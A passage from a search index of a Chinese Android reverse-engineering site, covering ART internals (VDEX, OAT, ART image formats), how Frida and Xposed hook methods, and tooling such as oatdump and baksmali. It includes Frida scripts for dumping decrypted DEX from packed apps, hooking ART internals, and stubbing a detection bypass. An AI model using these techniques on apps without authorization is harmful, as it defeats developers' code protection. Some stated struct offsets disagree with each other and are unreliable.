深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#oat-文件-oat"},{"categories":null,"collections":null,"content":"VDEX 文件 (.vdex) 从 Android 8.0 (Oreo) 开始引入： ┌─────────────────────────────────────────────────────────────────────────┐ │ VDEX 文件结构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ VdexHeader │ │ │ │ - magic: \"vdex\" │ │ │ │ - version: \"027\" (Android 14) │ │ │ │ - number_of_dex_files │ │ │ │ - verifier_deps_size │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ DEX Files (未压缩的原始 DEX) │ │ │ │ - classes.dex │ │ │ │ - classes2.dex (如果有) │ │ │ │ - ... │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ Verifier Dependencies │ │ │ │ - 类/方法/字段的验证依赖信息 │ │ │ │ - 用于快速验证 DEX 是否需要重新编译 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ Quickening Info (可选) │ │ │ │ - 字节码快速化信息 │ │ │ │ - 内联缓存等优化数据 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:7:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#vdex-文件-vdex"},{"categories":null,"collections":null,"content":"ART 文件 (.art) (Image) 这是一个预加载的镜像文件： ┌─────────────────────────────────────────────────────────────────────────┐ │ ART Image 文件结构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ ImageHeader │ │ │ │ - magic: \"art\\n\" │ │ │ │ - image_begin: 映射基地址 │ │ │ │ - image_size: 镜像大小 │ │ │ │ - oat_checksum: 对应 OAT 的校验和 │ │ │ │ - oat_data_begin: OAT 代码基地址 │ │ │ │ - boot_image_roots: 根对象数组偏移 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ Object Section (预加载的 Java 对象) │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ 核心类对象 │ │ │ │ │ │ - java.lang.Object │ │ │ │ │ │ - java.lang.Class │ │ │ │ │ │ - java.lang.String │ │ │ │ │ │ - java.lang.Thread │ │ │ │ │ │ - ... │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ DexCache 对象 │ │ │ │ │ │ - 已解析的类型 │ │ │ │ │ │ - 已解析的方法 │ │ │ │ │ │ - 已解析的字段 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ Intern Table (字符串池) │ │ │ │ │ │ - 预填充的字符串对象 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ Bitmap Section │ │ │ │ - Live bitmap: 标记存活对象 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ 总结: 在现代 Android 系统中，执行流程是：classes.dex -\u003e (安装时) .vdex -\u003e (后台优化时) .oat。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:7:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-文件-art-image"},{"categories":null,"collections":null,"content":"ART vs. Dalvik 特性 ART Dalvik 编译模式 AOT + JIT 混合编译 JIT 执行单元 本地机器码 (主要) DEX 字节码 性能 更高 较低 启动速度 更快 较慢 安装时间 更快 (混合模式下) 快 存储占用 更高 (因 OAT 文件) 较低 垃圾回收 (GC) 优化更好，暂停时间更短 效率较低 调试支持 完善 (JDWP + ART TI) JDWP 64 位支持 原生支持 不支持 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:8:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-vs-dalvik"},{"categories":null,"collections":null,"content":"Frida/Xposed 与 ART 交互原理 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:9:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#fridaxposed-与-art-交互原理"},{"categories":null,"collections":null,"content":"Frida Hook 原理 ┌─────────────────────────────────────────────────────────────────────────┐ │ Frida Java Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 原始状态 Hook 后 │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ ArtMethod │ │ ArtMethod │ │ │ ├─────────────────────┤ ├─────────────────────┤ │ │ │ entry_point ────────┼──► OAT Code │ entry_point ────────┼──► Frida │ │ │ │ │ │ Stub │ │ │ access_flags │ │ access_flags |= N │ │ │ │ │ │ (设为 Native) │ │ │ │ data_ ──────────────┼──► DEX info │ data_ ──────────────┼──► Hook │ │ │ │ │ │ Info │ │ └─────────────────────┘ └─────────────────────┘ │ │ │ │ Frida Hook 步骤： │ │ │ │ 1. 通过反射获取 java.lang.reflect.Method │ │ 2. 从 Method 对象获取 ArtMethod 指针 │ │ 3. 备份原始 entry_point 和 data_ │ │ 4. 修改 access_flags，添加 kAccNative 标志 │ │ 5. 将 entry_point 替换为 Frida 的 trampoline │ │ 6. 将 data_ 替换为指向 Hook 上下文的指针 │ │ 7. 当方法被调用时： │ │ a. 跳转到 Frida trampoline │ │ b. 执行 JavaScript 回调 │ │ c. 可选：调用原始方法 │ │ d. 返回 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:9:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#frida-hook-原理"},{"categories":null,"collections":null,"content":"Xposed Hook 原理 ┌─────────────────────────────────────────────────────────────────────────┐ │ Xposed Hook 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Xposed (现代版本如 LSPosed) 使用类似的技术： │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. 注入 Zygote 进程 │ │ │ │ - 通过 Magisk 模块或 SELinux patch │ │ │ │ - 加载 libxposed_art.so │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 2. Hook ART 内部函数 │ │ │ │ - 替换 ClassLinker::DefineClass │ │ │ │ - 在类加载时注入回调 │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 3. 方法 Hook │ │ │ │ │ │ │ │ 原始 ArtMethod Hook 后 │ │ │ │ ┌────────────────┐ ┌────────────────┐ │ │ │ │ │ entry_point │──────►│ XposedBridge │ │ │ │ │ │ │ │ ↓ │ │ │ │ │ │ │ │ beforeHook() │ │ │ │ │ │ │ │ ↓ │ │ │ │ │ │ [原始代码] │◄──────│ callOriginal() │ │ │ │ │ │ │ │ ↓ │ │ │ │ │ │ │ │ afterHook() │ │ │ │ │ └────────────────┘ └────────────────┘ │ │ │ │ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:9:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#xposed-hook-原理"},{"categories":null,"collections":null,"content":"ART 方法 Hook 的关键地址 // Frida 获取关键地址的方式 (伪代码) void* GetArtMethodEntryPoint(void* art_method) { // Android 版本不同，偏移不同 // Android 10 (arm64): offset = 0x20 // Android 11 (arm64): offset = 0x18 size_t offset = GetEntryPointOffset(); return *(void**)((char*)art_method + offset); } void SetArtMethodEntryPoint(void* art_method, void* new_entry) { size_t offset = GetEntryPointOffset(); *(void**)((char*)art_method + offset) = new_entry; } // ArtMethod 结构体偏移 (Android 14, arm64) // 注意：这些偏移可能随版本变化 struct ArtMethodOffsets { size_t declaring_class; // 0x00 size_t access_flags; // 0x04 size_t dex_code_item_offset; // 0x08 size_t dex_method_index; // 0x0C size_t method_index; // 0x10 size_t hotness_count; // 0x12 size_t ptr_sized_fields_data; // 0x18 size_t ptr_sized_fields_entry; // 0x20 }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:9:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-方法-hook-的关键地址"},{"categories":null,"collections":null,"content":"对逆向工程的影响 实战技巧：从 ART 机制找到突破口 理解 ART 的工作原理，能让你找到很多\"非常规\"的逆向思路： ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:10:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#对逆向工程的影响"},{"categories":null,"collections":null,"content":"脱壳新思路 监控 dex2oat 调用：某些壳会在运行时动态调用 dex2oat，监控其命令行参数能发现隐藏的 DEX 从 VDEX 提取 DEX：Android 8.0+ 的 VDEX 文件本质上就是 DEX，用 vdexExtractor 可以快速提取 从 OAT 还原 DEX：使用 oat2dex 等工具从编译后的 OAT 文件反推原始 DEX ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:10:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#脱壳新思路"},{"categories":null,"collections":null,"content":"Hook 优化策略 Java 方法 Hook：优先 Hook Java 层 API，更稳定通用 Native Hook：当 Java Hook 失效时，找到 ART 编译后的机器码地址进行 inline hook GOT/PLT Hook：Hook 动态链接库的导入表，绕过代码完整性检查 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:10:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#hook-优化策略"},{"categories":null,"collections":null,"content":"关键影响点 Hook 点的变化: 由于存在 AOT 编译，Frida/Xposed 等框架的 Hook 原理也需要适应。它们不仅仅是 Hook Java 方法，实际上是找到了该方法编译后的本地机器码地址，并对其进行修改（inline hook）。 脱壳的复杂性: 许多加固厂商利用 ART 的 AOT 机制。他们可能会在运行时动态解密并加载 DEX，然后手动调用 dex2oat 生成 OAT 文件来执行。这使得传统的 DEX Dump 方法失效，需要对 OAT 文件格式和 dex2oat 的调用时机进行监控。 OAT 文件分析: 高级逆向分析有时需要直接分析 OAT 文件。有一些工具（如 oatdump）可以从 OAT 文件中提取出原始的 DEX 数据或查看编译后的汇编代码。 寻找代码的源头: 即使代码被 AOT 编译，其元数据依然与原始的 DEX 文件相关联。因此，我们的分析起点通常还是从 classes.dex 反编译出的 Java 代码开始，而不是直接一头扎进 OAT 文件的汇编代码中。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:10:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#关键影响点"},{"categories":null,"collections":null,"content":"实战代码示例 💡 思路一句话: 理解 ART 运行时的关键在于「方法调用链」— 从 Java 方法 → ArtMethod 结构体 → 编译后的机器码入口点，hook 和 dump 都需要在这条链上找到正确的拦截点。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#实战代码示例"},{"categories":null,"collections":null,"content":"示例 1：获取 ArtMethod 地址 // Frida 脚本：获取 Java 方法对应的 ArtMethod 地址 function getArtMethod(className, methodName, signature) { Java.perform(function () { var targetClass = Java.use(className); var methods = targetClass.class.getDeclaredMethods(); for (var i = 0; i \u003c methods.length; i++) { var method = methods[i]; if (method.getName() === methodName) { // 获取 ArtMethod 指针 // Method 对象的 artMethod 字段存储着指针 var artMethodField = method.getClass().getDeclaredField(\"artMethod\"); artMethodField.setAccessible(true); var artMethodPtr = artMethodField.get(method); console.log(\"[*] Class: \" + className); console.log(\"[*] Method: \" + methodName); console.log(\"[*] ArtMethod address: \" + artMethodPtr); // 读取 entry_point var entryPointOffset = 0x20; // Android 14, arm64 var entryPoint = Memory.readPointer( ptr(artMethodPtr).add(entryPointOffset) ); console.log(\"[*] Entry point: \" + entryPoint); // 判断执行模式 var toInterpreter = Module.findExportByName( \"libart.so\", \"art_quick_to_interpreter_bridge\" ); if (entryPoint.equals(toInterpreter)) { console.log(\"[*] Mode: Interpreted\"); } else { console.log(\"[*] Mode: Compiled (AOT/JIT)\"); // 打印前几条汇编指令 console.log(\"[*] Disassembly:\"); console.log(Instruction.parse(entryPoint)); } } } }); } // 使用示例 getArtMethod(\"com.example.app.MainActivity\", \"onCreate\"); ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#示例-1获取-artmethod-地址"},{"categories":null,"collections":null,"content":"示例 2：监控 dex2oat 调用 // Frida 脚本：监控 dex2oat 相关调用 function hookDex2oat() { // Hook execve 来捕获 dex2oat 调用 var execve = Module.findExportByName(\"libc.so\", \"execve\"); Interceptor.attach(execve, { onEnter: function (args) { var pathname = Memory.readUtf8String(args[0]); if (pathname \u0026\u0026 pathname.indexOf(\"dex2oat\") !== -1) { console.log(\"\\n[!] dex2oat called!\"); console.log(\"[*] Path: \" + pathname); // 打印参数 var argv = args[1]; var i = 0; while (true) { var arg = Memory.readPointer(argv.add(i * Process.pointerSize)); if (arg.isNull()) break; console.log(\"[*] arg[\" + i + \"]: \" + Memory.readUtf8String(arg)); i++; } } }, }); // 也可以 Hook OpenDexFilesFromOat var artModule = Process.findModuleByName(\"libart.so\"); if (artModule) { var symbols = artModule.enumerateSymbols(); for (var i = 0; i \u003c symbols.length; i++) { if (symbols[i].name.indexOf(\"OpenDexFilesFromOat\") !== -1) { console.log( \"[*] Found: \" + symbols[i].name + \" at \" + symbols[i].address ); Interceptor.attach(symbols[i].address, { onEnter: function (args) { console.log(\"[*] OpenDexFilesFromOat called\"); }, onLeave: function (retval) { console.log(\"[*] OpenDexFilesFromOat returned: \" + retval); }, }); } } } } hookDex2oat(); ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#示例-2监控-dex2oat-调用"},{"categories":null,"collections":null,"content":"示例 3：Dump 解密后的 DEX // Frida 脚本：从内存中 Dump DEX function dumpDex() { Java.perform(function () { // 方法 1：Hook DexFile 构造 var DexFile = Java.use(\"dalvik.system.DexFile\"); // 方法 2：遍历已加载的 DexFile Java.enumerateClassLoaders({ onMatch: function (loader) { try { var pathList = loader.pathList.value; var dexElements = pathList.dexElements.value; for (var i = 0; i \u003c dexElements.length; i++) { var element = dexElements[i]; var dexFile = element.dexFile.value; if (dexFile) { console.log(\"\\n[*] Found DexFile in ClassLoader\"); // 获取 cookie (native 层 DexFile 指针) var cookie = dexFile.mCookie.value; console.log(\"[*] Cookie: \" + cookie); // 对于 Android 8.0+，需要解析 cookie 获取多个 DEX // cookie 是一个 long 数组 if (cookie) { dumpFromCookie(cookie); } } } } catch (e) { // ClassLoader 类型可能不是 BaseDexClassLoader } }, onComplete: function () { console.log(\"[*] ClassLoader enumeration complete\"); }, }); }); } function dumpFromCookie(cookie) { // cookie[0] = oat_file // cookie[1..n] = dex_files var oatFile = cookie[0]; for (var i = 1; i \u003c cookie.length; i++) { var dexFilePtr = ptr(cookie[i]); // 读取 DexFile 结构 // begin_ 和 size_ 的偏移取决于 Android 版本 var beginOffset = 0x10; // 示例偏移 var sizeOffset = 0x18; var begin = Memory.readPointer(dexFilePtr.add(beginOffset)); var size = Memory.readU32(dexFilePtr.add(sizeOffset)); console.log(\"[*] DEX \" + i + \": begin=\" + begin + \", size=\" + size); // 验证 DEX magic var magic = Memory.readByteArray(begin, 4); if (arrayToString(magic) === \"dex\\n\") { // Dump 到文件 var fileName = \"/data/local/tmp/dump_\" + i + \".dex\"; var file = new File(fileName, \"wb\"); file.write(Memory.readByteArray(begin, size)); file.close(); console.log(\"[+] Dumped to: \" + fileName); } } } function arrayToString(arr) { return String.fromCharCode.apply(null, new Uint8Array(arr)); } dumpDex(); ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#示例-3dump-解密后的-dex"},{"categories":null,"collections":null,"content":"示例 4：绕过 dex2oat 检测 // 某些 App 会检测 OAT 文件是否存在或被修改 // 这个脚本用于绕过这种检测 function bypassOatCheck() { // Hook access/stat 系列函数 var access = Module.findExportByName(\"libc.so\", \"access\"); Interceptor.attach(access, { onEnter: function (args) { this.path = Memory.readUtf8String(args[0]); }, onLeave: function (retval) { if ( this.path \u0026\u0026 (this.path.indexOf(\".oat\") !== -1 || this.path.indexOf(\".vdex\") !== -1) ) { console.log(\"[*] access(\" + this.path + \") = \" + retval); // 根据需要修改返回值 } }, }); // Hook fopen 检测 OAT 读取 var fopen = Module.findExportByName(\"libc.so\", \"fopen\"); Interceptor.attach(fopen, { onEnter: function (args) { this.path = Memory.readUtf8String(args[0]); }, onLeave: function (retval) { if (this.path \u0026\u0026 this.path.indexOf(\".oat\") !== -1) { console.log(\"[*] fopen(\" + this.path + \") = \" + retval); } }, }); } bypassOatCheck(); ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#示例-4绕过-dex2oat-检测"},{"categories":null,"collections":null,"content":"示例 5：Hook ART 内部函数 // Hook ART 运行时的内部函数，用于高级分析 function hookArtInternals() { var libart = Module.findModuleByName(\"libart.so\"); if (!libart) { console.log(\"[-] libart.so not found\"); return; } // 1. Hook 类加载 var defineClass = null; libart.enumerateSymbols().forEach(function (sym) { if ( sym.name.indexOf(\"ClassLinker\") !== -1 \u0026\u0026 sym.name.indexOf(\"DefineClass\") !== -1 ) { if (!sym.name.includes(\"Callback\")) { defineClass = sym.address; } } }); if (defineClass) { Interceptor.attach(defineClass, { onEnter: function (args) { // 参数取决于具体版本 console.log(\"[*] DefineClass called\"); }, }); } // 2. Hook 方法编译 libart.enumerateSymbols().forEach(function (sym) { if (sym.name.indexOf(\"JitCompileMethod\") !== -1) { console.log(\"[*] Found JitCompileMethod: \" + sym.address); Interceptor.attach(sym.address, { onEnter: function (args) { console.log(\"[*] JIT compiling method...\"); }, onLeave: function (retval) { console.log(\"[*] JIT compile result: \" + retval); }, }); } }); // 3. Hook GC libart.enumerateSymbols().forEach(function (sym) { if ( sym.name.indexOf(\"CollectGarbage\") !== -1 \u0026\u0026 !sym.name.includes(\"Internal\") ) { console.log(\"[*] Found GC function: \" + sym.name); Interceptor.attach(sym.address, { onEnter: function (args) { console.log(\"[*] GC triggered!\"); }, }); return; } }); } hookArtInternals(); ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:11:5","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#示例-5hook-art-内部函数"},{"categories":null,"collections":null,"content":"常用工具指南 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#常用工具指南"},{"categories":null,"collections":null,"content":"oatdump Android 自带的 OAT 分析工具： # 基本用法 oatdump --oat-file=/data/dalvik-cache/arm64/data@app@com.example.app@base.apk@classes.dex # 只显示头信息 oatdump --oat-file=base.odex --header-only # 导出特定方法的汇编 oatdump --oat-file=base.odex --method-filter=\"MainActivity.onCreate\" # 导出所有方法 oatdump --oat-file=base.odex --dump:code # 验证 OAT 文件 oatdump --oat-file=base.odex --verify-image # 输出 OAT 文件的 ELF sections oatdump --oat-file=base.odex --list-methods 典型输出： OAT FILE: /data/dalvik-cache/arm64/data@app@com.example.app@base.apk@classes.dex LOCATION: /data/app/com.example.app/base.apk CHECKSUM: 0x12345678 INSTRUCTION SET: ARM64 INSTRUCTION SET FEATURES: ... DEX FILE COUNT: 1 DEX FILE: base.apk LOCATION: base.apk CHECKSUM: 0xabcdef01 DEX FILE SIZE: 1234567 CLASS: Lcom/example/app/MainActivity; (status=kInitialized) 0: void com.example.app.MainActivity.onCreate(android.os.Bundle) DEX CODE: 0x0000: ... OAT CODE: 0x00001000: stp x29, x30, [sp, #-16]! 0x00001004: mov x29, sp ... ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#oatdump"},{"categories":null,"collections":null,"content":"vdexExtractor 从 VDEX 文件提取 DEX： # 下载 git clone https://github.com/anestisb/vdexExtractor.git cd vdexExtractor make # 提取 DEX ./vdexExtractor -i /path/to/base.vdex -o /output/dir # 显示 VDEX 信息 ./vdexExtractor -i base.vdex --get-api # 批量提取 ./vdexExtractor -i /data/dalvik-cache/arm64/ -o /output/ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#vdexextractor"},{"categories":null,"collections":null,"content":"dex2oat 手动编译 # 查看 dex2oat 帮助 dex2oat --help # 手动编译 APK dex2oat \\ --dex-file=/data/local/tmp/test.apk \\ --oat-file=/data/local/tmp/test.oat \\ --instruction-set=arm64 \\ --compiler-filter=speed # 编译为调试模式 (保留更多信息) dex2oat \\ --dex-file=test.apk \\ --oat-file=test.oat \\ --compiler-filter=everything \\ --debuggable \\ --generate-debug-info # 使用 profile 编译 dex2oat \\ --dex-file=test.apk \\ --oat-file=test.oat \\ --compiler-filter=speed-profile \\ --profile-file=/path/to/primary.prof ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#dex2oat-手动编译"},{"categories":null,"collections":null,"content":"profman Profile 分析工具： # 查看 profile 内容 profman --dump-classes-and-methods \\ --profile-file=/data/misc/profiles/cur/0/com.example.app/primary.prof \\ --apk=/data/app/com.example.app/base.apk # 创建 profile profman --create-profile-from=method_list.txt \\ --reference-profile-file=/output/primary.prof \\ --apk=/path/to/base.apk # 合并 profiles profman --profile-file=profile1.prof \\ --profile-file=profile2.prof \\ --reference-profile-file=/output/merged.prof \\ --apk=/path/to/base.apk ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#profman"},{"categories":null,"collections":null,"content":"baksmali/smali DEX 反汇编/汇编工具： # 反汇编 DEX 到 smali baksmali d classes.dex -o smali_output/ # 从 VDEX 反汇编 (需要先提取) baksmali d base.vdex -o smali_output/ # 汇编 smali 回 DEX smali a smali_output/ -o classes_new.dex # 反汇编特定类 baksmali d classes.dex -o output/ -c \"Lcom/example/MainActivity;\" ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:5","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#baksmalismali"},{"categories":null,"collections":null,"content":"其他实用工具 工具 用途 链接 JADX DEX/APK 反编译为 Java https://github.com/skylot/jadx Ghidra OAT 本地代码分析 https://ghidra-sre.org/ IDA Pro OAT/SO 逆向分析 https://hex-rays.com/ida-pro/ dexdump Android 自带 DEX 分析 Android SDK apktool APK 解包/重打包 https://ibotpeaches.github.io/Apktool/ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:12:6","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#其他实用工具"},{"categories":null,"collections":null,"content":"ART 版本演进 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:13:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-版本演进"},{"categories":null,"collections":null,"content":"Android 各版本 ART 特性 Android 版本 ART 主要变化 5.0 (L) ART 成为默认运行时，纯 AOT 编译 6.0 (M) 移除 Portable 后端，仅保留 Quick 7.0 (N) 引入 JIT + AOT 混合模式，Profile-Guided 编译 8.0 (O) 引入 VDEX 文件，Concurrent Compacting GC 9.0 (P) 改进的 Profile 收集，更好的内联 10 (Q) .art 文件优化，更快的应用启动 11 (R) 增量 dex2oat，改进的 JIT 缓存 12 (S) 进一步优化内存使用，改进 GC 13 (T) 更好的启动 Profile，改进的 AOT 14 (U) 持续性能优化，更好的电池续航 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:13:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#android-各版本-art-特性"},{"categories":null,"collections":null,"content":"ArtMethod 结构演进 // 不同版本 ArtMethod 入口点偏移 (arm64) // 这些偏移会随版本变化，Hook 时需要动态获取 // Android 7.x // entry_point offset: 0x24 // Android 8.x // entry_point offset: 0x20 // Android 9.x // entry_point offset: 0x20 // Android 10.x // entry_point offset: 0x20 // Android 11+ // entry_point offset: 0x18 (部分版本) // 获取正确偏移的方法 function getEntryPointOffset() { var sdk = Java.use(\"android.os.Build$VERSION\").SDK_INT.value; if (sdk \u003e= 30) { return 0x18; // Android 11+ } else if (sdk \u003e= 26) { return 0x20; // Android 8-10 } else { return 0x24; // Android 7.x } } ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:13:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#artmethod-结构演进"},{"categories":null,"collections":null,"content":"OAT 版本历史 OAT 版本号对应关系： Android 5.0 - OAT 039 Android 5.1 - OAT 045 Android 6.0 - OAT 064 Android 7.0 - OAT 079 Android 7.1 - OAT 088 Android 8.0 - OAT 126 Android 8.1 - OAT 131 Android 9.0 - OAT 138 Android 10 - OAT 170 Android 11 - OAT 183 Android 12 - OAT 195 Android 13 - OAT 220 Android 14 - OAT 225 可以通过读取 OAT 文件头来判断版本： $ xxd base.oat | head -n 1 00000000: 6f61 740a 3138 3300 ... oat.183. ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:13:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#oat-版本历史"},{"categories":null,"collections":null,"content":"调试与诊断 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:14:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 